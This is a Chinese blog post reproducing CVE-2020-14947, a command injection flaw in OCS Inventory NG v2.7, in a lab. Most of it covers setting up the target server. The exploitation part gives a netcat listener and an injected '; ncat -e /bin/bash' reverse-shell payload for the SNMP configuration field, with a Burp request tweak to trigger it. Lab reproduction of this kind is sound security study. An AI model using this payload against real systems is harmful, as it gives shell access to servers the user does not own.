CVE-2020-14947 OCS Inventory NG v2.7任意代码执行漏洞复现


OCS Inventory NG v2.7允许通过shell元字符执行远程命令,漏洞函数在/require/commandLine/CommandLine/php中。理论上,该漏洞允许任意代码执行。

实验环境

靶机:Ubuntu 18.04.5,OCS Inventory NG v2.7

攻击机:Kali Linux

靶机环境配置

首先需要安装一些需要的软件包和模块。

#1.安装Mariadb
$ sudo apt install mariadb-server mariadb-client -y
$ sudo systemctl start mariadb
$ sudo systemctl enable mariadb
$ sudo mysql_secure_installation #设置好密码后,后面均输入y

#2.安装gcc和make
$ sudo apt install make cmake gcc make -y

#3.安装apache2 http server
$ sudo apt install apache2 libapache2-mod-perl2 libapache-dbi-perl libapache-db-perl libapache2-mod-php

#4.安装php和php-zip模块
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:ondrej/php
$ sudo apt update
$ sudo apt install php7.2 libapache2-mod-php7.2 php7.2-common php7.2-sqlite3 php7.2-mysql php7.2-gmp php7.2-curl php7.2-mbstring php7.2-gd php7.2-cli php7.2-xml php7.2-zip php7.2-soap php7.2-json php-pclzip
$ sudo vim /etc/php/7.2/apache2/php.ini
# 修改以下参数
file_uploads = On
allow_url_fopen = On
short_open_tag = On
memory_limit = 256M
upload_max_filesize = 100M
max_execution_time = 360
date.timezone = America/Chicago
$ sudo systemctl restart apache2.service
# 测试是否成功
$ sudo vim /var/www/html/phpinfo.php
#写入以下内容,然后浏览器访问`localhost/phpinfo.php`查看是否成功
<?php phpinfo( ); ?>

#5.安装Perl及其所需要的模块
$ sudo apt -y install perl libxml-simple-perl libcompress-zlib-perl libdbi-perl libdbd-mysql-perl libnet-ip-perl libsoap-lite-perl libio-compress-perl libapache-dbi-perl libapache2-mod-perl2 libapache2-mod-perl2-dev
$ sudo perl -MCPAN -e 'install Apache2::SOAP'
$ sudo perl -MCPAN -e 'install Net::IP'
$ sudo perl -MCPAN -e 'install Apache::DBI'
$ sudo perl -MCPAN -e 'install Mojolicious::Lite'
$ sudo perl -MCPAN -e 'install Switch'
$ sudo perl -MCPAN -e 'install Plack::Handler'
$ sudo perl -MCPAN -e 'install XML::Entities'

#6.创建OCS Inventory数据库
$ sudo mysql -u root -p
> CREATE DATABASE ocs;
> CREATE USER 'ocsuser'@'localhost' IDENTIFIED BY
'password';
> GRANT ALL ON ocs.* TO 'ocsuser'@'localhost' WITH GRANT OPTION;
> FLUSH PRIVILEGES;
> EXIT;

下载OCS Inventory NG v2.7。解压后进入目录下,修改setup.sh中的数据库相关信息。

修改完成后,输入sudo ./setup.sh开始安装。前面的环境配置没问题的话,一般来说安装过程中的所有选项默认即可。完成后,检查一下需要的Perl模块是否都可用。若有错误,安装相应的模块即可。

到这里为止,我们依然不能通过网页访问该服务器,还需要配置OCS Iventory服务器。

$ sudo ln -s /etc/apache2/conf-available/ocsinventory-reports.conf /etc/apache2/conf-enabled/ocsinventory-reports.conf
$ sudo ln -s /etc/apache2/conf-available/z-ocsinventory-server.conf /etc/apache2/conf-enabled/z-ocsinventory-server.conf
$ sudo ln -s /etc/apache2/conf-available/zz-ocsinventory-restapi.conf /etc/apache2/conf-enabled/zz-ocsinventory-restapi.conf
$ sudo chown -R www-data:www-data /var/lib/ocsinventory-reports
$ sudo systemctl restart apache2

上面完成后,就可以通过浏览器访问管理界面了:http://localhost/ocsreports/install.php。打开后如下图所示:

填写好相关信息后即可登录(关于SSL的部分可留空)。在下一个页面点击OCS-NG GUI,然后点击Perform the update。然后安装就结束了,初始用户名和密码均为admin。

登录成功后,还有一步十分关键:靶机还需要安装nmap(sudo apt install nmap),目的是为了使用ncat命令。

环境配置结束。

漏洞利用

打开kali,先使用nc监听某个端口(我选择3333)。

nc -lvp 3333

浏览器访问上面的页面并登录,在上侧栏选择Configuration–>General configuration,然后在左侧栏选择SNMP。之后,在输入框中填入; ncat -e /bin/bash 本机IP 3333 #后点击update。如果成功的话,会提示Update done。

然后,进入Configuration–>SNMP configuration,在这里打开Burpsuite开始抓包,抓取点击左侧栏Add MIB file的http包。抓到后,将其中任意一个字符串改成update_snmp。

改好后,点击forward。查看nc的状态,等待几秒钟,成功连接。


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
 上一篇
CVE-2020-10560 OSSN任意文件读取漏洞复现 CVE-2020-10560 OSSN任意文件读取漏洞复现
CVE-2020-10560 OSSN任意文件读取漏洞,理论上可以读取任意文件内容。
2020-12-17
下一篇 
CVE-2020-1350 Windows Server DNS漏洞复现 CVE-2020-1350 Windows Server DNS漏洞复现
Windows DNS Server远程代码执行漏洞(CVE-2020-1350):未经身份验证的攻击者可通过向目标DNS服务器发送特制数据包从而目标系统上以本地SYSTEM账户权限执行任意代码。
2020-12-08
  目录